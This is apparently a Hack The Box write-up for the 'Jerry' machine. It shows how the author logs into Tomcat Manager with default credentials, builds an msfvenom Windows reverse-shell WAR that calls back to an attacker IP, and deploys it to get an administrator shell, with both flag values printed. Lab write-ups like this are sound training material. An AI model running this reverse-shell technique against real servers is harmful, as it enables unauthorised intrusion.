🔵jerry

Recon & Enum

port scan

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1

web (8080)

apache tomcat is running on the webpage , i tried to access /host-manager & /manager with "admin:admin"......and failed but i when i egt to the page i got default creds "tomcat:s3cret"......and it worked for /manager

initial access

after getting in , i found file upload functionality which says "select WAR file to upload" , so i created the reverse shell :-

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.8 LPORT=9002 -f war > rev_shell.war

WAR

A Web Application Resource (WAR) file is a single file container that holds all the potential files necessary for a Java-based web application. It can have Java Archives (.jar), Java Server Pages (.jsp), Java Servlets, Java classes, webpages, css, etc.

to deploy the reverse shell we have to visit the url :-

http://10.10.10.95:8080/rev_shell/

But we still didn't get the reverse shell , this is because WAR file use jsp (java servelet pages) and we have to manualy add the jsp location of our file (reverse shell) To get the name of jsp page :-

unzip rev_shell.war

Archive:  ../rev_shell.war
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF    
   creating: WEB-INF/
  inflating: WEB-INF/web.xml         
  inflating: slouhcmsuuaxrz.jsp 

Let's add the jsp name in our url path

http://10.10.10.95:8080/rev_shell/slouhcmsuuaxrz.jsp

Flags

C:\Users\Administrator\Desktop>cd flags
cd flags

C:\Users\Administrator\Desktop\flags>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0834-6C04

 Directory of C:\Users\Administrator\Desktop\flags

06/19/2018  07:09 AM    <DIR>          .
06/19/2018  07:09 AM    <DIR>          ..
06/19/2018  07:11 AM                88 2 for the price of 1.txt
               1 File(s)             88 bytes
               2 Dir(s)   2,417,467,392 bytes free

C:\Users\Administrator\Desktop\flags>type 2*
type 2*

2 for the price of 1.txt


user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e